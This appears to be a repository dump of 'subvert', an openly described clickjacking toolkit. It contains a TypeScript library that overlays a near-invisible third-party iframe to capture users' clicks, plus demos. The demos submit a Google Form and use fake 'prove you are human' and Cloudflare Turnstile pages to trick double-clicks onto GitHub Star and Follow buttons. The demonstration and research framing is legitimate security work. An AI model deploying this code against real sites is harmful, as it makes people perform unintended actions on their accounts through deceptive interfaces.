├── .prettierrc ├── .gitignore ├── library ├── utils.ts ├── README.md ├── frame │ ├── abstractAttack.ts │ ├── fullscreen.ts │ ├── element.ts │ ├── index.ts │ └── frameUtils.ts └── isMobile.ts ├── demo ├── github │ ├── README.md │ ├── success.html │ ├── index.html │ ├── attack.html │ └── second.html ├── blog │ ├── README.md │ ├── success.html │ ├── index.html │ ├── main.ts │ ├── second.html │ └── cloudflare.css ├── google-form │ ├── main.ts │ └── index.html └── google-form-element │ ├── index.html │ └── main.ts ├── README.md ├── package.json ├── vite.config.ts ├── TODO.md ├── LICENSE ├── index.html └── bun.lock /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "trailingComma": "es5", 3 | "tabWidth": 2, 4 | "semi": false, 5 | "singleQuote": true, 6 | "quoteProps": "consistent" 7 | } 8 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # js stuff 2 | node_modules 3 | .vite 4 | dist/ 5 | 6 | # don't mind me 7 | repomix-output.xml 8 | temp* 9 | 10 | # macOS is annoying 11 | .DS_Store -------------------------------------------------------------------------------- /library/utils.ts: -------------------------------------------------------------------------------- 1 | export type Coordinate = { x: number; y: number } 2 | 3 | export function sleep(ms: number): Promise { 4 | return new Promise((resolve) => setTimeout(resolve, ms)) 5 | } 6 | -------------------------------------------------------------------------------- /demo/github/README.md: -------------------------------------------------------------------------------- 1 | # GitHub double-clickjacking demo 2 | 3 | This is a demostration of a double-clickjacking attack on GitHub. It gets the user to peform a double-click on a precisely calculated position on the page, but closes the tab on the first pointerdown event, causing the second click to land on the "Star" button on the repository which was loaded in the background. 4 | -------------------------------------------------------------------------------- /library/README.md: -------------------------------------------------------------------------------- 1 | # `library/` 2 | 3 | This folder contains useful library code for implementing clickjacking attacks. 4 | 5 | ## `library/frame/` 6 | 7 | This exports the `Frame` class, which is used to create and manage iframes in iframe-based clickjacking attacks. It helps you properly position and style iframes without having to do the manual math and research yourself. 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # subvert: clickjacking toolkit 2 | 3 | Subvert is a toolkit for different kinds of clickjacking, including a library for iframe-based attacks and a set of extensible demos showcasing both the library and more modern double-clickjacking attacks. 4 | 5 | The library is in [`library/`](library/README.md) and you can see the demos at [subvert.jer.app](https://subvert.jer.app). To run the demos locally, run `bun run dev` or `npm run dev` or however else you prefer to run vite. -------------------------------------------------------------------------------- /demo/blog/README.md: -------------------------------------------------------------------------------- 1 | # Blog+Cloudflare double-clickjacking attack 2 | 3 | This is a demonstration of a double-clickjacking attack. It uses a fake blog (the [real one](http://parkalex.dev) is great!) and an accurate recreation of a Cloudflare Turnstile page to convince the user to double-click in a precisely calculated location. When the user first begins their click, the tab on top disappears, revealing a GitHub profile, and the user's second click lands perfectly on the Follow button. 4 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "subvert", 3 | "type": "module", 4 | "private": true, 5 | "scripts": { 6 | "dev": "vite", 7 | "build": "vite build", 8 | "preview": "vite preview" 9 | }, 10 | "dependencies": { 11 | "fast-glob": "^3.3.3", 12 | "vite": "^6.3.5" 13 | }, 14 | "devDependencies": { 15 | "@types/bun": "latest", 16 | "prettier": "^3.5.3", 17 | "repomix": "^0.3.7" 18 | }, 19 | "peerDependencies": { 20 | "typescript": "^5" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /demo/blog/success.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Double-clickjacking demo 5 | 6 | 10 | 11 | 12 |

Success

13 | 14 |

Thanks for the follow, hopefully! :)

15 | 16 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /demo/github/success.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Double-clickjacking demo 5 | 6 | 10 | 11 | 12 |

Success

13 | 14 |

Thanks for the star, hopefully! :)

15 | 16 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /library/frame/abstractAttack.ts: -------------------------------------------------------------------------------- 1 | export abstract class FrameAttack { 2 | constructor(protected readonly element: HTMLIFrameElement) { 3 | if (document.activeElement === this.element) { 4 | throw new Error( 5 | 'ElementClick cannot be started while the iframe is already focused' 6 | ) 7 | } 8 | } 9 | 10 | protected resolve!: () => void 11 | protected reject!: (reason?: any) => void 12 | readonly promise = new Promise((resolve, reject) => { 13 | this.resolve = resolve 14 | this.reject = reject 15 | }) 16 | 17 | dispose() { 18 | this.reject(new Error(`${this.constructor.name} disposed`)) 19 | } 20 | [Symbol.dispose]() { 21 | this.dispose() 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /demo/google-form/main.ts: -------------------------------------------------------------------------------- 1 | import { Frame } from '../../library/frame/index.ts' 2 | import { sleep } from '../../library/utils.ts' 3 | 4 | async function main() { 5 | console.log('Starting attack') 6 | 7 | using frame = new Frame(1000, 1000) 8 | await frame.load('https://forms.gle/ZEBK8v684ARcuh1o9') 9 | console.log('Frame loaded') 10 | 11 | await frame.fullscreenClick({ x: 215, y: 288 }) 12 | console.log('Clicked option') 13 | 14 | await frame.fullscreenClick({ x: 226, y: 365 }) 15 | console.log('Clicked submit') 16 | 17 | await sleep(1000) // Wait for the form to submit 18 | 19 | console.log('Success') 20 | 21 | const iframe = frame.retriveFrame() 22 | iframe.style = 'width: 400px; height: 350px' 23 | } 24 | 25 | main() 26 | -------------------------------------------------------------------------------- /vite.config.ts: -------------------------------------------------------------------------------- 1 | /// 2 | import { defineConfig } from 'vite' 3 | import { dirname, resolve } from 'node:path' 4 | import { fileURLToPath } from 'node:url' 5 | import fg from 'fast-glob' 6 | 7 | const htmlFiles = await fg.async('./**/*.html', { 8 | cwd: dirname(fileURLToPath(import.meta.url)), 9 | absolute: true, 10 | ignore: ['**/node_modules/**', '**/dist/**', '**/.vite/**'], 11 | }) 12 | console.log('HTML files found:', htmlFiles) 13 | 14 | export default defineConfig({ 15 | build: { 16 | rollupOptions: { 17 | input: htmlFiles, 18 | }, 19 | }, 20 | esbuild: { 21 | target: ['es2020', 'edge88', 'firefox78', 'chrome87', 'safari14'], 22 | }, 23 | server: { 24 | host: true, 25 | allowedHosts: ['mac.sole-peacock.ts.net'], 26 | }, 27 | }) 28 | -------------------------------------------------------------------------------- /demo/blog/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Double-clickjacking demo 5 | 6 | 9 | 10 | 11 |

Double-clickjacking demo

12 | 13 | Click here to start the attack. 14 | 15 | 25 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /demo/github/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Double-clickjacking demo 5 | 6 | 9 | 10 | 11 |

Double-clickjacking demo

12 | 13 | Click here to start the attack. 14 | 15 | 25 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /demo/github/attack.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sign in to continue 5 | 6 | 9 | 10 | 11 |

Sign in to continue

12 | 13 | 14 | 15 | 25 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /library/isMobile.ts: -------------------------------------------------------------------------------- 1 | // From npm:is-mobile (MIT License) by Julian Gruber 2 | // https://github.com/juliangruber/is-mobile/blob/main/index.js 3 | 4 | // Simplified plenty, not a proper UA parser, but good enough for us 5 | // It might be better to use `ua-parser-js` or something to be more robust, but we're not doing anything 6 | // critical and keeping the code dependency-free is nice. 7 | 8 | const mobileRE = 9 | /(bb\d+|meego).+mobile|armv7l|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|iphone|ipod|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|redmi|series[46]0|samsungbrowser.*mobile|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino|android|ipad|playbook|silk/i 10 | const notMobileRE = /CrOS/ 11 | 12 | export function isMobile(userAgent = window?.navigator?.userAgent) { 13 | if (!userAgent) return null 14 | return mobileRE.test(userAgent) && !notMobileRE.test(userAgent) 15 | } 16 | -------------------------------------------------------------------------------- /TODO.md: -------------------------------------------------------------------------------- 1 | List of ideas and plans for future additions. I'm not planning on implementing all of the incomplete items, they're just ideas. 2 | 3 | - [x] Iframe-based attacks 4 | 5 | - [x] General framework 6 | - [x] Fullscreen iframe attack 7 | - [x] Single-element iframe attack 8 | - [x] Fake click 9 | - [ ] Fake hover (partial, needs more browser and OS support) 10 | - [x] Multi-element iframe attack (is this that useful?) 11 | - [ ] Complex action attacks (advanced, but of limited use) 12 | - [ ] Drag and drop attack 13 | - [ ] Paste/type attack 14 | 15 | - [ ] Double-clickjacking attacks[^1] 16 | - [ ] Attacks against different services 17 | - [x] GitHub star 18 | - [x] GitHub follow 19 | - [ ] more... 20 | - [x] UI for tricking the user 21 | - [x] Basic UI 22 | - [x] Fake Cloudflare page 23 | - [x] Fake Cloudflare Turnstile + CATCHPA 24 | - [ ] more... 25 | 26 | [^1]: I first learned about this from https://paulosyibelo.com/2024/12/doubleclickjacking-what.html 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Jeremy 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /demo/google-form/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Iframe fullscreen demo 5 | 6 | 10 | 11 | 12 | 13 |

Subvert <iframe> fullscreen demo

14 | 15 |
16 |
17 | Test Form 18 |

19 | 23 |

24 |

25 | 26 |

27 |
28 |
29 | 30 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /demo/google-form-element/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Iframe element demo 5 | 6 | 10 | 11 | 12 | 13 |

Subvert <iframe> element demo

14 | 15 |
16 |
17 | Test Form 18 |

19 | 23 |

24 |

25 | 26 |

27 |
28 |
29 | 30 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /demo/google-form-element/main.ts: -------------------------------------------------------------------------------- 1 | import { Frame } from '../../library/frame/index.ts' 2 | import { sleep } from '../../library/utils.ts' 3 | 4 | const $ = (id: string) => document.getElementById(id) 5 | const testForm = $('test-form') as HTMLFormElement 6 | const termsLabel = $('terms-label') as HTMLLabelElement 7 | const termsCheckbox = $('terms-checkbox') as HTMLInputElement 8 | const submitButton = $('submit-button') as HTMLInputElement 9 | 10 | testForm.addEventListener('submit', (event) => { 11 | event.preventDefault() 12 | testForm.reset() 13 | }) 14 | 15 | async function main() { 16 | console.log('Starting attack') 17 | 18 | using frame = new Frame(1000, 1000) 19 | await frame.load('https://forms.gle/ZEBK8v684ARcuh1o9') 20 | console.log('Frame loaded') 21 | 22 | testForm.reset() 23 | 24 | termsCheckbox.disabled = false 25 | await frame.elementClick(termsLabel, { x: 215, y: 288 }) 26 | console.log('Clicked option') 27 | 28 | submitButton.disabled = false 29 | await frame.elementClick(submitButton, { x: 226, y: 365 }, () => { 30 | testForm.reset() 31 | termsCheckbox.disabled = true 32 | submitButton.disabled = true 33 | }) 34 | console.log('Clicked submit') 35 | 36 | await sleep(1000) // Wait for the form to submit 37 | 38 | console.log('Success') 39 | 40 | const iframe = frame.retriveFrame() 41 | iframe.style = 'width: 400px; height: 350px' 42 | } 43 | 44 | main() 45 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Subvert demo 5 | 6 | 9 | 10 | 11 |

Subvert templates

12 | 13 | 16 | 17 |

A small set of example attacks, in rough order of how good they are.

18 | 19 | 37 | 38 | 43 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /library/frame/fullscreen.ts: -------------------------------------------------------------------------------- 1 | import { FrameAttack } from './abstractAttack.ts' 2 | import { type Coordinate, sleep } from '../utils.ts' 3 | import { calculateTransform, hiddenTransform, pageFocus } from './frameUtils.ts' 4 | 5 | export class FullscreenClick extends FrameAttack { 6 | constructor( 7 | element: HTMLIFrameElement, 8 | protected target: Coordinate, 9 | protected buffer: number, 10 | protected delay: number, 11 | protected onClick = () => {} 12 | ) { 13 | super(element) 14 | 15 | window.addEventListener('resize', this.resizeHandler) 16 | this.updatePosition() 17 | // There doesn't seem to be an event that fires when the iframe is clicked, 18 | // but document.activeElement will be the iframe if it was clicked, so we 19 | // poll that 20 | this.interval = setInterval(() => this.checkActiveElement(), 10) 21 | } 22 | 23 | protected readonly resizeHandler = () => { 24 | this.updatePosition() 25 | } 26 | 27 | protected readonly interval: ReturnType 28 | protected updatePosition() { 29 | const transform = calculateTransform( 30 | { 31 | top: this.target.y - this.buffer, 32 | left: this.target.x - this.buffer, 33 | width: 2 * this.buffer, 34 | height: 2 * this.buffer, 35 | }, 36 | { 37 | top: 0, 38 | left: 0, 39 | width: window.innerWidth, 40 | height: window.innerHeight, 41 | } 42 | ) 43 | this.element.style.transform = transform 44 | } 45 | 46 | /** Used to stop the callback from triggering multiple times */ 47 | protected clicked = false 48 | /** Checks to see if the iframe has gained focus */ 49 | protected async checkActiveElement() { 50 | if (!this.clicked && document.activeElement === this.element) { 51 | // The iframe is focused, the user probably clicked it 52 | // Stop waiting for clicks 53 | this.clicked = true 54 | clearInterval(this.interval) 55 | 56 | this.onClick() 57 | 58 | // Wait for the click to probably end (no way to tell if it has) 59 | await sleep(this.delay) 60 | 61 | // Remove focus from the iframe and clean up 62 | pageFocus() 63 | this.resolve() 64 | this.dispose() 65 | } 66 | } 67 | 68 | // Does some stuff it doesn't usually need to do, but it's a no-op usually 69 | // and helpful when disposing early 70 | dispose() { 71 | window.removeEventListener('resize', this.resizeHandler) 72 | clearInterval(this.interval) 73 | this.element.style.transform = hiddenTransform 74 | this.reject(new Error('FullscreenClick disposed')) 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /demo/github/second.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Prove you are human 5 | 6 | 9 | 10 | 11 |

Prove you are human

12 |

Double click every button on this page to prove you are a human

13 | 14 |
15 | 16 |
17 | 18 | 90 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /library/frame/element.ts: -------------------------------------------------------------------------------- 1 | import { FrameAttack } from './abstractAttack.ts' 2 | import { type Coordinate, sleep } from '../utils.ts' 3 | import { 4 | calculateTransformAndClip, 5 | calculateTransform, 6 | hiddenTransform, 7 | pageFocus, 8 | } from './frameUtils.ts' 9 | 10 | const eventNames = ['resize', 'scroll', 'orientationchange'] 11 | 12 | export class ElementClick extends FrameAttack { 13 | protected clicking = false 14 | constructor( 15 | element: HTMLIFrameElement, 16 | protected pageElements: HTMLElement[], 17 | protected target: Coordinate, 18 | protected buffer: number, 19 | protected delay: number, 20 | protected onClick = () => {}, 21 | protected onHoverStart = () => {}, 22 | protected onHoverEnd = () => {} 23 | ) { 24 | super(element) 25 | 26 | for (const eventName of eventNames) 27 | window.addEventListener(eventName, this.positionHandler) 28 | this.positionInterval = setInterval(this.positionHandler, 100) 29 | 30 | this.updatePosition() 31 | // There doesn't seem to be an event that fires when the iframe is clicked, 32 | // but document.activeElement will be the iframe if it was clicked, so we 33 | // poll that 34 | this.interval = setInterval(() => this.checkActiveElement(), 10) 35 | window.addEventListener('mouseover', this.pointerHandler) 36 | window.addEventListener('mouseout', this.pointerHandler) 37 | window.addEventListener('pointermove', this.pointerHandler, { 38 | passive: true, 39 | }) 40 | } 41 | 42 | protected readonly positionInterval: ReturnType 43 | protected hovering = false 44 | protected readonly positionHandler = () => { 45 | this.updatePosition() 46 | } 47 | protected readonly pointerHandler = (event: Event) => { 48 | const previousHovering = this.hovering 49 | if (event.type === 'mouseover') { 50 | if (event.target !== this.element) return 51 | this.hovering = true 52 | } else if (event.type === 'mouseout') { 53 | if (event.target !== this.element) return 54 | this.hovering = false 55 | } else if (event.type === 'pointermove') { 56 | // If we see the pointer moving, they must not be hovering the iframe anymore 57 | this.hovering = false 58 | } else { 59 | throw new Error(`Unexpected pointer event: ${event.type}`) 60 | } 61 | 62 | if (this.hovering !== previousHovering && this.pageElements.length === 1) { 63 | if (this.hovering) { 64 | this.onHoverStart() 65 | } else { 66 | this.onHoverEnd() 67 | } 68 | } 69 | } 70 | 71 | protected readonly interval: ReturnType 72 | protected updatePosition() { 73 | if (!this.clicking) { 74 | const pageElementRects = this.pageElements.flatMap((el) => [ 75 | ...el.getClientRects(), 76 | ]) 77 | 78 | const { transform, clipPath } = calculateTransformAndClip( 79 | { 80 | top: this.target.y - this.buffer, 81 | left: this.target.x - this.buffer, 82 | width: 2 * this.buffer, 83 | height: 2 * this.buffer, 84 | }, 85 | pageElementRects 86 | ) 87 | this.element.style.transform = transform 88 | this.element.style.clipPath = clipPath 89 | } else { 90 | const source = { 91 | top: this.target.y - this.buffer, 92 | left: this.target.x - this.buffer, 93 | width: 2 * this.buffer, 94 | height: 2 * this.buffer, 95 | } 96 | const viewport = { 97 | top: 0, 98 | left: 0, 99 | width: window.innerWidth, 100 | height: window.innerHeight, 101 | } 102 | this.element.style.transform = calculateTransform(source, viewport) 103 | this.element.style.clipPath = 'none' 104 | } 105 | } 106 | 107 | /** Used to stop the callback from triggering multiple times */ 108 | protected clicked = false 109 | /** Checks to see if the iframe has gained focus */ 110 | protected async checkActiveElement() { 111 | if (!this.clicked && document.activeElement === this.element) { 112 | // The iframe is focused, the user probably clicked it 113 | // Stop waiting for clicks 114 | this.clicked = true 115 | clearInterval(this.interval) 116 | 117 | // switch to full-screen for the remainder of the delay 118 | this.clicking = true 119 | this.updatePosition() 120 | 121 | this.onClick() 122 | 123 | // Wait for the click to probably end (no way to tell if it has) 124 | await sleep(this.delay) 125 | 126 | // Remove focus from the iframe and clean up 127 | pageFocus() 128 | this.resolve() 129 | this.dispose() 130 | } 131 | } 132 | 133 | // Does some stuff it doesn't usually need to do, but it's a no-op usually 134 | // and helpful when disposing early 135 | dispose() { 136 | for (const eventName of eventNames) 137 | window.removeEventListener(eventName, this.positionHandler) 138 | clearInterval(this.positionInterval) 139 | clearInterval(this.interval) 140 | window.removeEventListener('mouseover', this.pointerHandler) 141 | window.removeEventListener('mouseout', this.pointerHandler) 142 | window.removeEventListener('pointermove', this.pointerHandler) 143 | this.onHoverEnd() 144 | this.element.style.transform = hiddenTransform 145 | this.reject(new Error('ElementClick disposed')) 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /demo/blog/main.ts: -------------------------------------------------------------------------------- 1 | const $ = (id: string) => document.getElementById(id) 2 | const title = $('title') as HTMLHeadingElement 3 | const loadingSpinner = $('loading-spinner') as HTMLDivElement 4 | const coreText = $('core-text') as HTMLDivElement 5 | const challengeErrorText = $('challenge-error-text') as HTMLHeadingElement 6 | const turnstileWidget = $('turnstile-widget') as HTMLDivElement 7 | const turnstileVerifying = $('turnstile-verifying') as HTMLDivElement 8 | const turnstileCheckbox = $('turnstile-checkbox') as HTMLDivElement 9 | const turnstileCheckboxInput = $('turnstile-checkbox-input') as HTMLInputElement 10 | // const turnstileStuckText = $('turnstile-stuck') as HTMLDivElement 11 | const followPositionElement = $('follow-position') as HTMLDivElement 12 | const popupElement = $('popup') as HTMLDivElement 13 | const popupButton = $('popup-button') as HTMLButtonElement 14 | 15 | title.textContent = location.hostname 16 | coreText.textContent = `${location.hostname} needs to review the security of your connection before proceeding.` 17 | turnstileCheckboxInput.checked = false 18 | 19 | async function sleep(ms: number): Promise { 20 | await new Promise((resolve) => setTimeout(resolve, ms)) 21 | } 22 | function randRange(min: number, max: number): number { 23 | return Math.floor(Math.random() * (max - min + 1)) + min 24 | } 25 | async function randSleep(min: number, max: number): Promise { 26 | await sleep(randRange(min, max)) 27 | } 28 | 29 | // Main 30 | 31 | ;(async () => { 32 | await randSleep(400, 1_000) 33 | history.replaceState(null, '', location.pathname) 34 | 35 | await randSleep(0, 1_200) 36 | loadingSpinner.style.display = 'none' 37 | coreText.classList.add('spacer-top') 38 | 39 | await randSleep(200, 1_000) 40 | turnstileWidget.style.display = 'grid' 41 | 42 | await randSleep(500, 1_700) 43 | turnstileVerifying.style.display = 'none' 44 | turnstileCheckbox.style.display = 'grid' 45 | challengeErrorText.textContent = 46 | 'Verify you are human by completing the action below.' 47 | })() 48 | 49 | turnstileCheckboxInput.addEventListener( 50 | 'change', 51 | async function checkboxChange() { 52 | if (!turnstileCheckboxInput.checked) return 53 | turnstileCheckbox.removeEventListener('change', checkboxChange) 54 | 55 | await randSleep(170, 250) 56 | turnstileVerifying.style.display = 'grid' 57 | turnstileCheckbox.style.display = 'none' 58 | challengeErrorText.textContent = 59 | 'Verifying you are human. This may take a few seconds.' 60 | 61 | await randSleep(1_500, 3_000) 62 | // if (Math.random() < 0.5) { 63 | // turnstileStuckText.style.display = 'inline-block' 64 | // await randSleep(100, 250) 65 | // turnstileStuckText.style.display = 'none' 66 | // } 67 | 68 | challengeErrorText.textContent = 69 | 'Verify you are human by completing the action below.' 70 | 71 | popupElement.style.removeProperty('display') 72 | popupElement.style.opacity = '1' 73 | updatePopupPosition() 74 | // setInterval(updatePopupPosition, 10) 75 | window.addEventListener('resize', updatePopupPosition) 76 | } 77 | ) 78 | 79 | popupButton.addEventListener('click', () => { 80 | new BroadcastChannel('eval').postMessage(` 81 | setTimeout(() => { 82 | console.log('Redirecting to success') 83 | window.open('/demo/blog/success', 'blog-attack') 84 | }, 750) 85 | `) 86 | 87 | window.close() 88 | }) 89 | 90 | function updatePopupPosition() { 91 | const positions = calculatePositions() 92 | 93 | const padding = 8 94 | 95 | popupElement.style.top = `${positions.widget.top - padding}px` 96 | popupElement.style.left = `${positions.widget.left - padding}px` 97 | popupElement.style.width = `${positions.widget.right - positions.widget.left + padding * 2}px` 98 | popupElement.style.height = `${positions.widget.bottom - positions.widget.top + padding * 2}px` 99 | 100 | popupButton.style.top = `${positions.button.top}px` 101 | popupButton.style.left = `${positions.button.left}px` 102 | popupButton.style.width = `${positions.button.right - positions.button.left}px` 103 | popupButton.style.height = `${positions.button.bottom - positions.button.top}px` 104 | } 105 | 106 | function calculatePositions() { 107 | const widgetRect = turnstileWidget.getBoundingClientRect() 108 | const followPositionRect = followPositionElement.getBoundingClientRect() 109 | 110 | const buttonTop = followPositionRect.top 111 | const buttonBottom = followPositionRect.bottom 112 | let buttonLeft: number 113 | let buttonRight: number 114 | 115 | const minButtonWidth = Math.min(followPositionRect.width, 100) 116 | const minWidgetHeight = 300 117 | 118 | // calculate where the button and widget overlap 119 | const overlapLeft = Math.max(widgetRect.left, followPositionRect.left) 120 | const overlapRight = Math.min(widgetRect.right, followPositionRect.right) 121 | const overlapWidth = overlapRight - overlapLeft 122 | if (overlapWidth >= minButtonWidth) { 123 | // the overlap is big enough, use it! 124 | buttonLeft = overlapLeft 125 | buttonRight = overlapRight 126 | } else { 127 | // will need to expand 128 | // how much each side needs to expand 129 | const halfDeficit = (minButtonWidth - overlapWidth) / 2 130 | 131 | // naively expand to the left and right 132 | buttonLeft = overlapLeft - halfDeficit 133 | buttonRight = overlapRight + halfDeficit 134 | 135 | // clamp to the followPositionRect 136 | if (buttonRight > followPositionRect.right) { 137 | buttonRight = followPositionRect.right 138 | buttonLeft = buttonRight - minButtonWidth 139 | } 140 | if (buttonLeft < followPositionRect.left) { 141 | buttonLeft = followPositionRect.left 142 | buttonRight = buttonLeft + minButtonWidth 143 | } 144 | } 145 | 146 | // let widgetTop = widgetRect.top 147 | const widgetTop = Math.min( 148 | widgetRect.top, 149 | followPositionRect.bottom - minWidgetHeight 150 | ) 151 | const widgetBottom = followPositionRect.bottom 152 | const widgetLeft = Math.min(widgetRect.left, buttonLeft) 153 | const widgetRight = Math.max(widgetRect.right, buttonRight) 154 | 155 | // enforce minimum widget height 156 | // if (widgetBottom - widgetTop < minWidgetHeight) { 157 | // widgetTop = widgetBottom - minWidgetHeight 158 | // } 159 | 160 | return { 161 | widget: { 162 | top: widgetTop, 163 | bottom: widgetBottom, 164 | left: widgetLeft, 165 | right: widgetRight, 166 | }, 167 | button: { 168 | top: buttonTop, 169 | bottom: buttonBottom, 170 | left: buttonLeft, 171 | right: buttonRight, 172 | }, 173 | } 174 | } 175 | 176 | export {} 177 | -------------------------------------------------------------------------------- /library/frame/index.ts: -------------------------------------------------------------------------------- 1 | import { type Coordinate } from '../utils.ts' 2 | import { hiddenTransform, fakeHover } from './frameUtils.ts' 3 | import { FrameAttack } from './abstractAttack.ts' 4 | import { FullscreenClick } from './fullscreen.ts' 5 | import { ElementClick } from './element.ts' 6 | 7 | export class Frame { 8 | /** The iframe that will be used for the attack */ 9 | protected readonly element: HTMLIFrameElement 10 | 11 | /** The current attack in progress, if any */ 12 | protected currentAttack: FrameAttack | null = null 13 | 14 | /** Whether the class has been disposed */ 15 | protected disposed: boolean = false 16 | /** If the frame was retrieved, it will not be removed when disposing */ 17 | protected frameRetrieved: boolean = false 18 | 19 | constructor( 20 | width = 1000, 21 | height = 1000, 22 | public buffer = 5, 23 | public delay = 900 24 | ) { 25 | this.element = document.createElement('iframe') 26 | 27 | this.element.style.position = 'fixed' 28 | this.element.style.top = '0' 29 | this.element.style.left = '0' 30 | this.element.style.zIndex = '999999' 31 | 32 | this.element.style.border = 'none' 33 | this.element.style.opacity = '0.01' 34 | this.element.style.transformOrigin = '0 0' 35 | 36 | this.element.style.transform = hiddenTransform 37 | 38 | this.setSize(width, height) 39 | 40 | document.body.appendChild(this.element) 41 | } 42 | 43 | setSize(width: number, height: number) { 44 | this.element.style.width = `${width}px` 45 | this.element.style.height = `${height}px` 46 | } 47 | 48 | /** 49 | * load the given url into the frame 50 | * resolves when the frame has loaded 51 | */ 52 | async load(url: string, timeoutMs = 15_000): Promise { 53 | return new Promise((resolve, reject) => { 54 | this.element.addEventListener('load', () => resolve()) 55 | this.element.src = url 56 | setTimeout(() => reject(new Error('Frame load timed out')), timeoutMs) 57 | }) 58 | } 59 | 60 | /** 61 | * Clicks the speicified target by covering the entire viewport with the iframe 62 | * and waiting for the user to click anywhere. 63 | * @param target The coordinate to click 64 | * @param onClick Optional callback to run as soon as the click starts (before 65 | * the timeout that lets the click finish) 66 | */ 67 | async fullscreenClick( 68 | target: Coordinate, 69 | onClick?: () => void 70 | ): Promise { 71 | if (this.disposed) throw new Error('Frame has been disposed') 72 | if (this.currentAttack) 73 | throw new Error('Another attack is already in progress') 74 | 75 | this.currentAttack = new FullscreenClick( 76 | this.element, 77 | target, 78 | this.buffer, 79 | this.delay, 80 | onClick 81 | ) 82 | try { 83 | await this.currentAttack.promise 84 | } finally { 85 | this.currentAttack = null 86 | } 87 | } 88 | 89 | /** 90 | * Clicks the speicified target by covering the given element with the iframe 91 | * and waiting for the user to click that element. 92 | * @param pageElement The element to cover with the iframe 93 | * @param target The coordinate to click 94 | * @param onClick Optional callback to run as soon as the click starts (before 95 | * the timeout that lets the click finish) - defaults to `pageElement.click()` 96 | * @param onHoverStart Optional callback to run when the iframe is hovered - 97 | * defaults to faking hover styles on the element (if the element is supported) 98 | * @param onHoverEnd Optional callback to run when the iframe is no longer 99 | * hovered - defaults to clearing the inline styles on the element 100 | */ 101 | async elementClick( 102 | pageElement: HTMLElement, 103 | target: Coordinate, 104 | onClick?: () => void, 105 | onHoverStart?: () => void, 106 | onHoverEnd?: () => void 107 | ): Promise 108 | /** 109 | * Clicks the speicified target by covering the given elements with the iframe 110 | * and waiting for the user to click any of those elements. 111 | * @param pageElements The elements to cover with the iframe 112 | * @param target The coordinate to click 113 | * @param onClick Optional callback to run as soon as the click starts (before 114 | * the timeout that lets the click finish) 115 | */ 116 | async elementClick( 117 | pageElements: HTMLElement[], 118 | target: Coordinate, 119 | onClick?: () => void 120 | ): Promise 121 | async elementClick( 122 | pageElements: HTMLElement | HTMLElement[], 123 | target: Coordinate, 124 | onClick = () => { 125 | if (Array.isArray(pageElements)) return 126 | pageElements.click() 127 | }, 128 | onHoverStart = () => { 129 | if (Array.isArray(pageElements)) return 130 | fakeHover(pageElements, true) 131 | }, 132 | onHoverEnd = () => { 133 | if (Array.isArray(pageElements)) return 134 | fakeHover(pageElements, false) 135 | } 136 | ): Promise { 137 | if (this.disposed) throw new Error('Frame has been disposed') 138 | if (this.currentAttack) 139 | throw new Error('Another attack is already in progress') 140 | 141 | const elementList = Array.isArray(pageElements) 142 | ? pageElements 143 | : [pageElements] 144 | 145 | this.currentAttack = new ElementClick( 146 | this.element, 147 | elementList, 148 | target, 149 | this.buffer, 150 | this.delay, 151 | onClick, 152 | onHoverStart, 153 | onHoverEnd 154 | ) 155 | try { 156 | await this.currentAttack.promise 157 | } finally { 158 | this.currentAttack = null 159 | } 160 | } 161 | 162 | /** 163 | * get the frame element and clean up 164 | * this is like dispose, but it doesn't get rid of the frame 165 | * @returns the iframe element 166 | */ 167 | 